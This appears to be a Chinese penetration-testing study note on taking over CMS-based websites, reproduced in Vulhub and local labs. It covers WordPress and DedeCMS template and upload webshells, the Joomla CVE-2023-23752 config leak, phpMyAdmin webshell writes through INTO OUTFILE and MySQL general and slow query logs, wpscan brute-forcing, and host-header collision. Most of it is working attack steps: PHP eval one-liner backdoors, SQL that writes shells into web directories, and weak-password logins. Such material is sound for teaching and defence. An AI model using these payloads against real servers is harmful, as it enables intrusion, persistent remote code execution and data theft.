一.CMS介绍
searchspolit dedecms
CMS 系统指的是“内容管理系统”,可以用来快速搭建网站、管理和发布内容。CMS一般都支持模块化搭建网站,无需技术人员即可完成搭建工作,没有什么门槛;且cms系统具有许多基于模板的优秀设计,可以加快网站开发的速度和减少开发的成本。
常见的cms系统
国外的:Wordpress,Drupal,Joomla,这是国外最流行的3大CMS。
国内则是DedeCMS和帝国,PHPCMS、74CMS、Discuz!等。
二.CMS写Shell
1.概述
通过注入或者其他途径,获取网站管理员账号和密码后,找到后台登录地址,登录后寻找后台漏洞上传网页后门,获取网站的webshell
2.途径
网站后因为功模块较多,很多开发人员也不会对后台的业务输入,进行严格过滤,输入有危害的内容,与漏洞配合很容易拿到网站的webshell。可以通过文件上传漏洞、SQL注入漏洞、文件任意写入漏洞、文件远程下载漏洞,数据库备份漏洞,文件包含漏洞等漏洞获取网站的 webshell。
3.按照漏洞类型可以分为以下几种
- 后台模板编辑拿webshell
- - 通过修改模块写入一句话,网站再调用模板的时,会自动加载这个模板,运行后门;
- 文件上传拿webshell
- - 通过后台的上传模块,上传网页后门,就可以拿到webshell ;
- 文件写入拿webshell
- - 通过可控参数将恶意代码写入文件里,即可获取webshell ;
- zip自解压拿webshell
- - 上传zip文件,在其加入webshell文件,程序会自动解压,将后门解压到网站目录,可以获取webshell;
- 远程图片下载拿webshell
- - 有的网站后台会存在远程图片下载功能,但是没有对其后缀名进行限制,导致可以下去webshell文件;
- 编辑器漏洞拿webshell
- - 有的编辑器存在上传漏洞,通过编辑器漏洞可以获取网站的webshell;
- 备份拿webshell
- - 很多的asp网站,都存在备份功能,上传有恶意的图片,备份成脚本文件,即可获取webshell ;
- SQL语句执行拿webshell
- - 有的网站存在sql执行命令,可以通过命令备份或导出一句话后门到指定网站目录,即可获取webshell ;
- SQL注入写shell 拿webshell
- - 网站前台设置了防注入,但是后台一般都存在注入,如果权限有读写,使用命令进行读写文件,或者执行写入后
门,即可获取webshell。
三.wordpress
1.CMS介绍
WordPress是基于PHP的开源CMS。它是一个开源的系统,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站,也可以把 WordPress 当作一个内容管理系统(CMS)来使用。 WordPress 有许多第三方开发的免费模板,简单易用。
对 WordPress 的漏洞扫描器 WPScan。WordPress 的漏洞一般分为 CMS 本身漏洞和 插件漏洞。
2.识别方式
ICON
路径wp-*
3.WordPress后台修改模板获取WebShell
复现环境:Vulhub-pwnscriptum
(1)
cd /vulhub/wordpress/pwnscriptum
docker-compose up -d
(2)
访问靶机地址: http://ip:port/wp-admin/ 登录⾄后台。
通过修改模板写⼊⼀句话⽊⻢,访问⽂件即可获得WebShell。
登录 wordprees后台 -> 外观 -> 编辑 写⼊⼀句话⽊⻢
(3)
保存访问,即可获得WebShell
拼接路径
/wp-content/themes/twentyfifteen/404.php
访问连接
http://ip:port/wp-content/themes/twentyfifteen/404.php
示例
复现环境:Vulhub-pwnscriptum
(1)建立环境
进入容器/启动环境/查看端口映射
cd /vulhub-master/wordpress/pwnscriptum
docker-compose up -d
docker-compose ps
访问主页面
http://ip:port
因为是自己搭建的环境->所以自己设置用户名与密码
复现过程
(1)写入木马
通过修改模板写入一句话木马,访问文件即可Webshell
登录Wordpress 后台->访问->编辑 写入一句话木马
phpinfo();@eval($_POST['1']);
(2)访问连接
拼接路径
/wp-content/themes/twentyfifteen/404.php
访问路径,蚁剑连接
http://ip:port/wp-content/themes/twentyfifteen/404.php
4.WordPress上传主题拿WebShell
复现环境:延用上个环境进行。
介绍: 把带有后门的文件加入到主题里,压缩为zip文件,上传后,程序会自动解压后,主题目录下会存在一个后门文件。
主题木马制作: 从网上下载主题 -> 将木马添加进去后重新压缩为ZIP
主题: https://www.pansoso.org/file/fjrcv.html
(1)
外观 -> 添加主题 -> 上传主题 -> 上传。
上传后程序会⾃解压ZIP⽂件。
(2)
上传压缩包
(3)
安装成功,访问⽊⻢⽂件
拼接路径:/wp-content/themes/iconic-one/peak.php
http://ip:8080/wp-content/themes/iconic-one/peak.php
示例
复现环境:Vulhub-pwnscriptum
(1)建立环境
进入容器/启动环境/查看端口映射
cd /vulhub-master/wordpress/pwnscriptum
docker-compose up -d
docker-compose ps
访问主页面
http://ip:8080
因为是自己搭建的环境->所以自己设置用户名与密码
复现过程
(1)上传主题
主题木马制作:从网上下载主题->将木马添加进去后重新压缩为ZIP
主题下载:https://www.pansoso.org/file/fjrcv.html
外观->主题->添加主题->上传主题->上传
上传之后程序会自解压ZIP文件
(2)访问连接
拼接路径访问刚上传的主题文件
/wp-content/themes/iconic-one/peak.php
http://ip:8080/wp-content/themes/iconic-one/peak.php
5.kali自带工具wpscan
第一步,去 https://wpscan.com/profile/ 官网注册账号并进行登录获取你自己的 token
第二步,去 kali 使用 wpcan命令进行操作
参考文章
https://zhuanlan.zhihu.com/p/149725645
默认扫描
wpscan --url https://www.xxxxx.wiki/
指定用户枚举
wpscan --url https://www.xxxxxxx.wiki/ --enumerate u
爆破用户密码
wpscan --url https://www.xxxxx.wiki/ -e u --wordlist 字典文件路径
扫描插件漏洞
wpscan --url https://www.xxxxx.wiki/ --enumerate vp
主题扫描
wpscan --url https://www.xxxxx.wiki --enumerate t
额外参数
加上token 效果会很好
wpscan --url https://www.oarc.in/ --api-token B4GxuWinKvshoHJ2Kxxx
四.DedeCMS
1.CMS介绍
DedeCMS是织梦团队开发PHP 网站管理系统,它以简单、易用、高效为特色,组建出各种各样各具特色的网站,如地方门户、行业门户、政府及企事业站点等。
2.识别方式
报错、跳转
FOFA语句:
app="dedecms"
icon_hash="-47597126"
默认后台路径:/dede
3.dedecms通过文件管理器上传webshell
(1)环境
DedeCMS-V5.7.82-UTF-8
(2)介绍
访问目标靶场其思路为 dedecms 后台可以直接上传任意文件,可以通过文件管理器上传php文件获取webshell
(1)
进⼊后台: http://127.0.0.1/CMS/DedeCMS-V5.7/DedeCMS-V5.7-UTF8-SP2/uploads/dede/login.php
(2)
点击:登陆到后台点击 【核心】 --》 【文件式管理器】 --》 【文件上传】 将准备好的⼀句话代码上传...OK
(3)
上传Webshell,直接访问
示例
复现环境
小P的环境:DedeCMS-V5.7.82-UTF-8
介绍:访问目标靶场其思路为 dedecms 后台可以直接上传任意文件,可以通过文件管理器上传php文件获取webshell
复现过程
(1)上传
登陆到后台点击 核心->文件式管理器->文件上传 将准备好的⼀句话代码上传
http://127.0.0.1/***/uploads/dede/login.php
尝试弱密码-> admin/admin 登录
(2)访问连接
上传之后会显示文件所在位置
或者在文件式管理器中直接访问
http://127.0.0.1/***/uploads/uploads/test.php
4.dedecms修改模块文件拿webshell
(1)环境
DedeCMS-V5.7.82-UTF-8
(2)介绍
介绍:与WPCMS类似,直接修改模板拿WebShell..点击 【模板】 --》 【默认模板管理】 --》 【index.htm】 -->【修改】 在文件修改中添加一句话代码....如下
(1)
访问后台模板 -> 默认模板管理 -> Index.htm -> 修改⽂件内容
(2)
点击 【生成】 --》 【更新主页HTML】 --》将主⻚位置修改为 【../index.php 】--》点击 【生成静态】 --》点击【更新主页】 再次访问站点⾸⻚可发现变化...
访问webshell: http://ip/CMS/DedeCMS-V5.7/uploads/index.php
示例
复现环境
小P的环境:DedeCMS-V5.7.82-UTF-8
介绍:与WPCMS类似,直接修改模板拿WebShell。点击 模板->默认模板管理->index.htm->修改 在文件修改中添加一句话代码
复现过程
(1)修改文件
访问 后台模板->默认模板管理->Index.htm->修改⽂件内容
在修改时添加一句话木马->phpinfo();@eval($_POST[1]);
(2)更新页面
点击 生成->更新主页HTML->将主⻚位置修改为../index.php->点击->生成静态->点击
更新主页 再次访问站点⾸⻚可发现变化
(3)访问连接
http://127.0.0.1/***/uploads/index.php
5.DedeCMS V5.7 SP2后台代码执行漏洞
在dedecms后台广告管理,可以插入php任意代码
(1)
点击【模块】--》【广告管理】--》【增加一个新广告】--》在【广告内容】处添加一句话代码--》点击【确定】
(2)
点击代码,获取路径,访问:
http://ip/CMS/DedeCMS-V5.7/uploads/plus/ad_js.php?aid=2
示例
复现环境
小P的环境:DedeCMS-V5.7.82-UTF-8
在dedecms后台广告管理,可以插入php任意代码
复现过程
(1)点击 模块->广告管理->增加一个新广告->在广告内容处添加一句话代码->点击确定
<?php phpinfo();@eval($_POST[1]);?>
(2)点击代码,获取路径,访问连接
http://127.0.0.1/***/uploads/plus/ad_js.php?aid=2
五.Joomla
1.CMS介绍
Joomla是用PHP编写的,采用了模块化的架构,可以通过安装和配置不同的扩展、模板和语言包来实现不同的功能和界面。Joomla还提供了一些基本的网站管理工具,如用户管理、内容管理、菜单管理和网站配置等,可以帮助用户快速创建和维护一个功能强大、易于使用的网站。
2.Joomla未授权访问漏洞(CVE-2023-23752)
(1)漏洞介绍
由于Joomla对Web服务端点的访问控制存在缺陷,未经身份认证的攻击者通过构造特制请求访问RestAPI接口获取Joomla相关配置信息,最终导致敏感信息泄露。
(2)影响范围
4.0.0 <= Joomla <= 4.2.7
Vulhub
FOFA语句:icon_hash="1627330242"
(1)
/vulhub-master/joomla/CVE-2023-23752
http://ip:8080/
(2)
拼接访问⼀下POC可获得敏感信息
/api/index.php/v1/config/application?public=true
/api/v1/config/application?public=true
示例
复现环境:Vulhub
影响范围:4.0.0 <= Joomla <= 4.2.7
漏洞介绍:由于Joomla对Web服务端点的访问控制存在缺陷,未经身份认证的攻击者通过构造特制请求访问RestAPI接口获取Joomla相关配置信息,最终导致敏感信息泄露。
建立环境
/home/vulhub-master/joomla/CVE-2023-23752
docker-compose up -d
docker-compose ps
复现过程
(1)访问
http://ip:8080/
默认弱密码为:admin/admin
(2)拼接访问⼀下POC可获得敏感信息
/api/index.php/v1/config/application?public=true
/api/v1/config/application?public=true
六.phpMyadmin
PHPMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库。
1.通过SQL导入文件GetShell
利用写入语句,将WebShell写入到服务器Web目录->into outfile dump file
1.对web目录需要有写权限 (root权限)
2.secure_file_priv 不为null 具体描述在下边。
3.要知道网站的绝对路径,写入马才能连接。
mysql写入文件:使用需看要secure_file_priv=的值。
value为“null”时,不允许读取任意文件
value为其余路径时,表示该路径可以读写文件
value为“空”时,允许读取/写入任意文件
可通过: show global variables like '%secure_file_priv%'; 查询 secure_file_priv 是否为空
into outfile写入WebShell
先根据各种信息收集,判断或猜测出网站绝对路径,把后门写到网站目录上。
(1)
使⽤以上语句查看,是否允许导⼊导出⽂件
show global variables like '%secure_file_priv%';
(2)
将WebShell写⼊到⽹站路径
select '<?php phpinfo();eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/x.php'
select '<?php phpinfo();eval($_POST[cmd]);?>' into dumpfile 'D:/PhpStudy/PHPTutorial/www/21.php
示例
复现环境
小p搭建的环境
http://127.0.0.1/***/
尝试弱口令->root/root
复现过程
(1)查看是否允许导入导出文件
show global variables like '%secure_file_priv%';
(2)将Webshell写入网站路径
into outfile写入WebShell
select '<?php phpinfo();eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/123.php'
select '<?php phpinfo();eval($_POST[cmd]);?>' into dumpfile 'D:/PhpStudy/PHPTutorial/www/123.php'
(3)访问连接
http://127.0.0.1/123.php
2.将Shell写入表中获得WebShell
1.root权限
2.⽹站的绝对路径且有写⼊的条件
3.secure_file_priv=' '
写入利用
1.先运⾏,随便找到⼀个表写⽣成写⼊包含⼀句话⽊⻢。
insert into emails(email_id) values ('<?php @eval($_POST[1]);?>');
2.查询该数据表,将结果导出⽂件
select * from emails into outfile 'D:/PhpStudy/PHPTutorial/www/123.php';
示例
复现环境
小p搭建的环境
http://127.0.0.1/phpMyAdmin4.8.5/
尝试弱口令->root/root
复现过程
(1)将Webshell写入表中
先运⾏,随便找到⼀个表写⽣成写⼊包含⼀句话⽊⻢
insert into emails(email_id) values ('<?php @eval($_POST[1]);?>');
写入数据库时数据不易过长
(2)查询数据表,将结果导出
select * from emails into outfile 'D:/PhpStudy/PHPTutorial/www/123.php';
(3)访问连接
3.开启全局日志写入WebShell
利用mysql日志文件写shell,这个日志可以在mysql里改变它的存放位置,登录phpmyadmin可以修改这个存放位置,并且可以修改它的后缀名。所以可以修改成php的后缀名就能获取一个webshell。
1.root权限
2.⽹站绝对路径具有写⼊权限
(1)
开启全局配置,⽇志记录
SET global general_log = "ON";
(2)
将⽇志⽂件设置成服务器下的⽊⻢⽂件
SET global general_log_file ='D:/phpStudy/PHPTutorial/WWW/RIZHITTS.php';
(3)
如果出错应该是mysql没权限写到这个web⽬录内,如果没有出错,执⾏select后,a.php⾥⾯就会存在恶意代码。
SELECT '<?php phpinfo();?>';
示例
复现环境
小p搭建的环境
http://127.0.0.1/phpMyAdmin4.8.5/
尝试弱口令->root/root
复现过程
(1)开启全局配置,⽇志记录
SET global general_log = "ON";
(2)将⽇志⽂件设置成服务器下的⽊⻢⽂件
SET global general_log_file ='D:/phpStudy/PHPTutorial/WWW/RIZHITTS.php';
(3)如果出错应该是mysql没权限写到这个web⽬录内,如果没有出错,执⾏select后,对应php文件⾥⾯就会存在恶意代码。
SELECT '<?php phpinfo();@eval($_POST[1]);?>';
4.慢查询日志写入WebShell
1.知道⽹站绝对路径且有写⼊的权限
2.root权限
复现过程
(1)查看⽇志开启情况
show variables like '%slow_query_log%';
(2)开启慢查询⽇志
set global slow_query_log=1;
(3)修改⽇志⽂件存储的绝对路径
原内容:D:\PhpStudy\PHPTutorial\MySQL\data\Rog-slow.log
原来的存储路径可由查看日志开启状况看出
set global slow_query_log_file='D:/PhpStudy/PHPTutorial/www/4449.php';
set global slow_query_log_file='C:/phphuanjing/phpstudy_pro/WWW/123.php';
(4)向⽇志⽂件中写⼊shell
select '<?php @eval($_POST[1]);?>' or sleep(11);
(5)使⽤慢查询⽇志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在⽇志中,使⽤如下语句可查看系统时间
show global variables like '%long_query_time%';
上面这些操作适用于获得了一个sql命令执行的接口
phpmyadmin本身就有历史漏洞
示例
复现环境
小p搭建的环境
http://127.0.0.1/phpMyAdmin4.8.5/
尝试弱口令->root/root
复现过程
(1)查看⽇志开启情况
show variables like '%slow_query_log%';
(2)开启慢查询⽇志
set global slow_query_log=1;
(3)修改⽇志⽂件存储的绝对路径
原内容:D:\PhpStudy\PHPTutorial\MySQL\data\Rog-slow.log
原来的存储路径可由查看日志开启状况看出
set global slow_query_log_file='D:/PhpStudy/PHPTutorial/www/4449.php';
(4)向⽇志⽂件中写⼊shell
select '<?php @eval($_POST[1]);?>' or sleep(11);
(5)使⽤慢查询⽇志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在⽇志中,使⽤如下语句可查看系统时间
show global variables like '%long_query_time%';
上面这些操作适用于获得了一个sql命令执行的接口
phpmyadmin本身就有历史漏洞
七.其他CMS相关漏洞
识别是否为某个框架/CMS -> 去百度/文库搜相关CMS/框架的历史漏洞 -> 先去github/百度/微信文章寻找相关利用/检测工具 -> 手gong检测- > 判断是否存在漏洞
八.WEB之host碰撞挖掘
1.Host碰撞介绍
使用目标资产IP访问目标时,响应状态码基本为:401、403、404、500,但是用域名请求却能返回正常的业务系统。
因为大多数都是需要绑定host才能正常请求访问的。如果域名删除了A解析记录,且反向代理服务器的配置未更新,那么就可以尝试通过反向代理服务器对应内网的web服务进行访问。
csdn.com ---> A记录删除
我NGINX反向代理服务器配置没有更新
···csdn.com
...abc.cm
通过收集到目标的域名和目标资产的IP段,通过host头的域名+IP的url的形式进行访问,从而可通过反代实现内网web访问
现在很多较大的公司比较流行,资产统一把控,也就是自己所有的资产全部收缩进内网
然后整个Nginx或Apache服务器,想对外网开放某个资产的时候就通过这个反代服务器新添加个配置映射出去
这就导致了一个问题, 那就是如果配置不当了, 忘记删除这台nginx或是Apache服务器的域名指向了那么我们通过修改host就可以重新访问这些以前在外网后面被收缩进内网的资产了
2.Host碰撞原理
当数据包的host头替换为某个域名时在访问该反代服务器的ip, 如果nginx/Apache的反向代理的host配置没删除,就会把请求转发到内网对应的host业务服务器上, 接着返回该业务的信息, 实现本该隐藏的业务访问
nginx欢迎页面
服务器(xxx.com) ----》 隐藏业务上
简单点就是: 当数据包的host头替换为某个域名时在访问时该反代服务器的ip, 如果页面发生了变化,返回了对应的资源, 即可判断为存在host碰撞。
直接访问IP是无法访问成功的,而访问其绑定的域名才可以访问成功。在访问域名的时候能够直接重定向服务器相关站点的目录下,即可成功访问。
3.Host碰撞出现场景
业务通过DNS解析到外⽹,后⾯删除了A记录(但是nginx/Apache的反向代理还没删除)
测试业务(不对外开放的业务,只流传于开发或是测试使⽤)
4.什么场景下使用
如果ip状态为40X的时候,就可以进行host碰撞。
5.修改Hosts文件绑定
hosts文件在C:\Windows\system32\drivers\etc\hosts路径下,需要进行添加域名
Nginx环境配置参考: https://blog.csdn.net/weixin_40418457/article/details/116740561
#Nginx反代配置
map $http_host $forbidden_host {
default 0;
"example.com" 1;
"sub.example.com" 1;
}
server {
listen 80;
server_name www.abc.com;
location / {
if ($forbidden_host) {
add_header X-Forbidden-Host "true";
}
if ($http_x_forbidden_host = "true") {
return 403;
}
proxy_pass http://ip:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}